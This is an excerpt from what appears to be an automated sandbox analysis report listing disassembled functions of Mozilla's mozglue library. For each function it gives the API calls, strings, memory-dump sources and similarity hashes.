String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 53cf3975d7b3d1c1c09eb69606e4ac82c1d61bd8b7c882caf86f7fa7348233ed
Instruction ID: f92bcb3dfa6b433161a4ad25e3caf8b37cd3b4e66ecbb4330a3a40257e916b53
Opcode Fuzzy Hash: 53cf3975d7b3d1c1c09eb69606e4ac82c1d61bd8b7c882caf86f7fa7348233ed
Instruction Fuzzy Hash: FDE0B674706351DBDF007F71D908B15BBF8F706216F88961AAA0993700EBF2D4158B51

Function 6CB375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB3748B,?), ref: 6CB375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB375D7
FreeLibrary.KERNEL32(?,6CB3748B,?), ref: 6CB375EC

Strings

ntdll.dll, xrefs: 6CB375B3
RtlNtStatusToDosError, xrefs: 6CB375D1

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 02f1dabfedba7997ed6801c6ff389065f5c8f0c99295c0e2c1394741bf4fa081
Instruction ID: 06db0216b073315f6971d18f441214ebce5c3e416960dbd13a10ec623c956318
Opcode Fuzzy Hash: 02f1dabfedba7997ed6801c6ff389065f5c8f0c99295c0e2c1394741bf4fa081
Instruction Fuzzy Hash: 29E0B675700341EFEF046FA2D948702BBF8EB16218FA45429AE05E3680EBB09452CF51

Function 6CB37600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB37592), ref: 6CB37608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB37627
FreeLibrary.KERNEL32(?,6CB37592), ref: 6CB3763C

Strings

ntdll.dll, xrefs: 6CB37603
NtUnmapViewOfSection, xrefs: 6CB37621

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 81bf060845c48bb5aafeab9120d49ae4200569b4bcaeee6bb0fe96719da516a5
Instruction ID: 830d649348f9f602d9dd4a334031a68addcaa767baf07ed3f906a5fd60b00097
Opcode Fuzzy Hash: 81bf060845c48bb5aafeab9120d49ae4200569b4bcaeee6bb0fe96719da516a5
Instruction Fuzzy Hash: B7E0B6B4740381AFDF006FA6D908702BFB8F72A369F945919EA09E3740E7B090118F15

Function 6CB28E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28EBF
free.MOZGLUE(?,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28F46
free.MOZGLUE(?,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F8F

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a7f443043d01c048e991652c1ad08e641d7011f9f43a939b443edb73e42ad820
Instruction ID: a82fae083d6782fb077753f6ff27a488b914cd33a0663dea5c07a764904d3c0e
Opcode Fuzzy Hash: a7f443043d01c048e991652c1ad08e641d7011f9f43a939b443edb73e42ad820
Instruction Fuzzy Hash: F151A5B2A012558FEF24CF54D8807AE77B6FF48314F19092AD51AAB740E736F905CB92

Function 6CAD4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAD4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAD4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAD4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAD4F1E

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 91d5da6a1abd9be33b62e365c95959dd912ddc02a32128297ef9e55b4a1e363e
Instruction ID: 680b7aa84bb9f189e9aa3814b273650ec0d6f89064e523ce7287b4da746d6454
Opcode Fuzzy Hash: 91d5da6a1abd9be33b62e365c95959dd912ddc02a32128297ef9e55b4a1e363e
Instruction Fuzzy Hash: 7D41CF71608702AFC705CF29C48099BBBF4BF89344F158A2DF4A597651DB30F998CB92

Function 6CAE1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE15E7
free.MOZGLUE(?,?,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE1637

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 6d3bf2b5de4cc72c8cc022a0dcba8f5512c1fbe512a818680255c874bb7a5085
Instruction ID: 1609c5432b4e081f50764baacd61cadcdb02039dc05cae18d66698ab6b0ffc27
Opcode Fuzzy Hash: 6d3bf2b5de4cc72c8cc022a0dcba8f5512c1fbe512a818680255c874bb7a5085
Instruction Fuzzy Hash: 0431F8B1A001248BCB148F7CD8504BE77E5BB893647290B2DE527DBBD5EB30D98497D1

Function 6CB3AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AD9D

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE3D

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 23967f814accaa885a143f3cf978f571084a7f78dc1b6f58720d4609c13c5fdb
Instruction ID: d795d56bdb0b2bf4766478036766df979cff1b22894ccde63b0509c3d0317d9d
Opcode Fuzzy Hash: 23967f814accaa885a143f3cf978f571084a7f78dc1b6f58720d4609c13c5fdb
Instruction Fuzzy Hash: 313132B1A002659FDB10DF768D44AAFBBF8EF49614F65882DE85AD7740E734D804CBA0

Function 6CB35EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB4DCA0,?,?,?,6CB0E8B5,00000000), ref: 6CB35F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB0E8B5,00000000), ref: 6CB35F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB0E8B5,00000000), ref: 6CB35F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB0E8B5,00000000), ref: 6CB35F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB0E8B5,00000000), ref: 6CB35FD6

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: db5f496dd55c2993f0b6481033b7dba71b3160a31fe54697eac6cedb5cb1f4ac
Instruction ID: 1c483d806a276c1df10fb8ac10e9d81e42226785c1570f2043072415836a5d9f
Opcode Fuzzy Hash: db5f496dd55c2993f0b6481033b7dba71b3160a31fe54697eac6cedb5cb1f4ac
Instruction Fuzzy Hash: CA312D343006508FDB10CF29C898E2AB7F9FF89319BA45558F55A8BB95C731EC45CB85

Function 6CADB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CADB532
moz_xmalloc.MOZGLUE(?), ref: 6CADB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CADB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CADB57E
free.MOZGLUE(00000000), ref: 6CADB58F

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 61aa1731f50d38a2fa627b36563a1e024cf28d07f11ca8a1cd10318b9fe02c4f
Instruction ID: 66f36dd2e2bf9df740024e0a2b75166dffa22a9bef652f3a69561272f0238200
Opcode Fuzzy Hash: 61aa1731f50d38a2fa627b36563a1e024cf28d07f11ca8a1cd10318b9fe02c4f
Instruction Fuzzy Hash: F0210771A00205DBDB008F69DC40BBEBBB9FF46304F294129E819DB341E775E955C7A0

Function 6CB376C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB37705

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB37717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB3778F,00000000,00000000,00000000,00000000), ref: 6CB37731
free.MOZGLUE(00000000), ref: 6CB37760

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 5fa80340c94bd0d30561e76ffdc5457f3f75fe6f814a5fa36ccdaa92670113a7
Instruction ID: d3829da760ccf3cfb21cd59c10614932de16b17f0ffb3351bdd1af0c00fcce1d
Opcode Fuzzy Hash: 5fa80340c94bd0d30561e76ffdc5457f3f75fe6f814a5fa36ccdaa92670113a7
Instruction Fuzzy Hash: 2111C4B1904365ABEB10AF768D44BABBEF8EF55354F144429F84CE7300E771884487E2

Function 6CB10D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAD3DEF), ref: 6CB10D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAD3DEF), ref: 6CB10D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAD3DEF), ref: 6CB10DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB10D97, 6CB10DBE
<jemalloc>, xrefs: 6CB10D92, 6CB10DB9

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: bc1b0f5d4908f247b5f239991e623b3be9ba8cf58beb6a7a70800b3deab9adc0
Instruction ID: 3f1672b0ecfa191bca6d832a20701563fd16db7f776543f45405e2ee94794e23
Opcode Fuzzy Hash: bc1b0f5d4908f247b5f239991e623b3be9ba8cf58beb6a7a70800b3deab9adc0
Instruction Fuzzy Hash: FDF0A5713983E423D9201D656C0AFEA355DE7C1B55F744136FA14DFDC0DA51E8304655

Function 6CB27620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB275C4,?), ref: 6CB2762B

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27644
GetCurrentThreadId.KERNEL32 ref: 6CB2765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27677

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: c652fd2751bf80611fc9e97ad92a5f612da0dc104c617d4011619594ad18236f
Instruction ID: 2c56f36005b9a62644b9fc304d7b65c2b91c17f2e1fe13ddcccdc7c79481d5b4
Opcode Fuzzy Hash: c652fd2751bf80611fc9e97ad92a5f612da0dc104c617d4011619594ad18236f
Instruction Fuzzy Hash: B2F0C271E10785ABD7009F21C888676B778FFEA259F114316F90453601E7B0A5D08BD0

Function 6CAFD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

EnterCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD4F2
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD50B

Part of subcall function 6CADCFE0: EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CADCFF6
Part of subcall function 6CADCFE0: LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CADD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD52E
EnterCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD690
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD751

Strings

MOZ_CRASH(), xrefs: 6CAFD4BB

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b57dd2a43df21894766767bca04762419375e3cc9c71097dce8b5885e02dca1b
Instruction ID: 7fe05e4406dad5b2967dc0d571e58786c1f7ec51760a623c9e51a2c1e841def3
Opcode Fuzzy Hash: b57dd2a43df21894766767bca04762419375e3cc9c71097dce8b5885e02dca1b
Instruction Fuzzy Hash: FF512271F047858FD755CF28C09075ABBE1EB89304F984A2EE5AAC7B84D730E841CB92

Function 6CB24630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB24721

Strings

., xrefs: 6CB2476A
profiler-paused, xrefs: 6CB246E4
-%llu, xrefs: 6CB24733

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 962e1a1091aea55ffe039d46d3b345a26a2a381e36f8dc5650063875ab3e47e9
Instruction ID: 80b2df4f3b0058effd027dc78e873752c80cd11e72d13510ac315e73d0390e98
Opcode Fuzzy Hash: 962e1a1091aea55ffe039d46d3b345a26a2a381e36f8dc5650063875ab3e47e9
Instruction Fuzzy Hash: 0D418771F087489BCB09DF78E84116EBBE5EF85344F10863DE859ABB91EB3498448B42

Function 6CB246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB24721

Part of subcall function 6CAD4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB13EBD,00000017,?,00000000,?,6CB13EBD,?,?,6CAD42D2), ref: 6CAD4444

Strings

., xrefs: 6CB2476A
profiler-paused, xrefs: 6CB246E4
-%llu, xrefs: 6CB24733

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 900327f6209b60ba4b8e6c038cfb923eeaf7fa3d7152bcc5c2161559a98682b6
Instruction ID: d436a75b91016ffb06964878d0a25aacfb416a054d8c72357fd586f2c9d3cb83
Opcode Fuzzy Hash: 900327f6209b60ba4b8e6c038cfb923eeaf7fa3d7152bcc5c2161559a98682b6
Instruction Fuzzy Hash: 66315C71F042484BCB0CCF6CD8912BEBBE6DB99314F55863DE8199BB91E77498048F91

Function 6CB2B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB13EBD,6CB13EBD,00000000), ref: 6CAD42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB2B127), ref: 6CB2B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB2B4E4

Strings

pid:, xrefs: 6CB2B4DE

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 199be14ca223bb2ebe511df0b6125ced60405abc462499f4d63fa799a7c3a6d9
Instruction ID: 2f98e01e0b04a387ec87250f5920b743749c7c6f345b5877886d2b3a56f9c27d
Opcode Fuzzy Hash: 199be14ca223bb2ebe511df0b6125ced60405abc462499f4d63fa799a7c3a6d9
Instruction Fuzzy Hash: 24311831A01244DFDB00DFA9D880AFEB7B5FF09318F580529D82667A41DB35E949CBE1

Function 6CB1E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB1E577
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1E584
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB1E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CB1E5A1, 6CB1E5CC, 6CB1E5FF, 6CB1E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB1E826, 6CB1E850
